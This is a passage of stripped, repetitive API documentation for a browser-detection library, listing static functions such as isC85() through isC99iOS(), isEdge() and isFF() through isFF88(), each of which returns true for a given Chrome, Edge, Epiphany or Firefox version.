+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC85()

+ + + + + + +
+

Returns true if Chrome 85.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC85iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 85.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC86()

+ + + + + + +
+

Returns true if Chrome 86.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC86iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 86.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC87()

+ + + + + + +
+

Returns true if Chrome 87.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC87iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 87.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC88()

+ + + + + + +
+

Returns true if Chrome 88.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC88iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 88.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC89()

+ + + + + + +
+

Returns true if Chrome 89.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC89iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 89.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC90()

+ + + + + + +
+

Returns true if Chrome 90.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC90iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 90.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC91()

+ + + + + + +
+

Returns true if Chrome 91.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC91iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 91.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC92()

+ + + + + + +
+

Returns true if Chrome 92.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC92iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 92.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC93()

+ + + + + + +
+

Returns true if Chrome 93.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC93iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 93.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC94()

+ + + + + + +
+

Returns true if Chrome 94.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC94iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 94.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC95()

+ + + + + + +
+

Returns true if Chrome 95.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC95iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 95.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC96()

+ + + + + + +
+

Returns true if Chrome 96.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC96iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 96.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC97()

+ + + + + + +
+

Returns true if Chrome 97.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC97iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 97.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC98()

+ + + + + + +
+

Returns true if Chrome 98.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC98iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 98.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC99()

+ + + + + + +
+

Returns true if Chrome 99.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC99iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 99.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isEdge()

+ + + + + + +
+

Returns true if Edge.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isEpi()

+ + + + + + +
+

Return true if Epiphany

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF()

+ + + + + + +
+

Returns true if FF.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF2()

+ + + + + + +
+

Returns true if FF2.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3()

+ + + + + + +
+

Returns true if FF3.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3_5()

+ + + + + + +
+

Returns true if FF3.5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF3_6()

+ + + + + + +
+

Returns true if FF3.6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF4()

+ + + + + + +
+

Returns true if FF4.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF5()

+ + + + + + +
+

Returns true if FF5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF6()

+ + + + + + +
+

Returns true if FF6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF7()

+ + + + + + +
+

Returns true if FF7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF8()

+ + + + + + +
+

Returns true if FF8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF9()

+ + + + + + +
+

Returns true if FF9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF10()

+ + + + + + +
+

Returns true if FF10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF11()

+ + + + + + +
+

Returns true if FF11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF12()

+ + + + + + +
+

Returns true if FF12

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF13()

+ + + + + + +
+

Returns true if FF13

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF14()

+ + + + + + +
+

Returns true if FF14

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF15()

+ + + + + + +
+

Returns true if FF15

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF16()

+ + + + + + +
+

Returns true if FF16

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF17()

+ + + + + + +
+

Returns true if FF17

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF18()

+ + + + + + +
+

Returns true if FF18

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF19()

+ + + + + + +
+

Returns true if FF19

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF20()

+ + + + + + +
+

Returns true if FF20

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF21()

+ + + + + + +
+

Returns true if FF21

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF22()

+ + + + + + +
+

Returns true if FF22

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF23()

+ + + + + + +
+

Returns true if FF23

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF24()

+ + + + + + +
+

Returns true if FF24

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF25()

+ + + + + + +
+

Returns true if FF25

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF26()

+ + + + + + +
+

Returns true if FF26

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF27()

+ + + + + + +
+

Returns true if FF27

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF28()

+ + + + + + +
+

Returns true if FF28

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF29()

+ + + + + + +
+

Returns true if FF29

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF30()

+ + + + + + +
+

Returns true if FF30

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF31()

+ + + + + + +
+

Returns true if FF31

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF32()

+ + + + + + +
+

Returns true if FF32

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF33()

+ + + + + + +
+

Returns true if FF33

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF34()

+ + + + + + +
+

Returns true if FF34

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF35()

+ + + + + + +
+

Returns true if FF35

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF36()

+ + + + + + +
+

Returns true if FF36

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF37()

+ + + + + + +
+

Returns true if FF37

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF38()

+ + + + + + +
+

Returns true if FF38

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF39()

+ + + + + + +
+

Returns true if FF39

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF40()

+ + + + + + +
+

Returns true if FF40

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF41()

+ + + + + + +
+

Returns true if FF41

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF42()

+ + + + + + +
+

Returns true if FF42

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF43()

+ + + + + + +
+

Returns true if FF43

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF44()

+ + + + + + +
+

Returns true if FF44

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF45()

+ + + + + + +
+

Returns true if FF45

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF46()

+ + + + + + +
+

Returns true if FF46

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF47()

+ + + + + + +
+

Returns true if FF47

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF48()

+ + + + + + +
+

Returns true if FF48

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF49()

+ + + + + + +
+

Returns true if FF49

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF50()

+ + + + + + +
+

Returns true if FF50

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF51()

+ + + + + + +
+

Returns true if FF51

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF52()

+ + + + + + +
+

Returns true if FF52

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF53()

+ + + + + + +
+

Returns true if FF53

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF54()

+ + + + + + +
+

Returns true if FF54

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF55()

+ + + + + + +
+

Returns true if FF55

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF56()

+ + + + + + +
+

Returns true if FF56

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF57()

+ + + + + + +
+

Returns true if FF57

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF58()

+ + + + + + +
+

Returns true if FF58

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF59()

+ + + + + + +
+

Returns true if FF59

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF60()

+ + + + + + +
+

Returns true if FF60

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF61()

+ + + + + + +
+

Returns true if FF61

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF62()

+ + + + + + +
+

Returns true if FF62

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF63()

+ + + + + + +
+

Returns true if FF63

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF64()

+ + + + + + +
+

Returns true if FF64

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF65()

+ + + + + + +
+

Returns true if FF65

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF66()

+ + + + + + +
+

Returns true if FF66

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF67()

+ + + + + + +
+

Returns true if FF67

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF68()

+ + + + + + +
+

Returns true if FF68

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF69()

+ + + + + + +
+

Returns true if FF69

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF70()

+ + + + + + +
+

Returns true if FF70

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF71()

+ + + + + + +
+

Returns true if FF71

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF72()

+ + + + + + +
+

Returns true if FF72

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF73()

+ + + + + + +
+

Returns true if FF73

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF74()

+ + + + + + +
+

Returns true if FF74

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF75()

+ + + + + + +
+

Returns true if FF75

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF76()

+ + + + + + +
+

Returns true if FF76

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF77()

+ + + + + + +
+

Returns true if FF77

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF78()

+ + + + + + +
+

Returns true if FF78

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF79()

+ + + + + + +
+

Returns true if FF79

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF80()

+ + + + + + +
+

Returns true if FF80

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF81()

+ + + + + + +
+

Returns true if FF81

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF82()

+ + + + + + +
+

Returns true if FF82

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF83()

+ + + + + + +
+

Returns true if FF83

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF84()

+ + + + + + +
+

Returns true if FF84

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF85()

+ + + + + + +
+

Returns true if FF85

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF86()

+ + + + + + +
+

Returns true if FF86

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF87()

+ + + + + + +
+

Returns true if FF87

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isFF88()

+ + + + + + +
+

Returns true if FF88

+
+ + + + + + + + + + + + + +
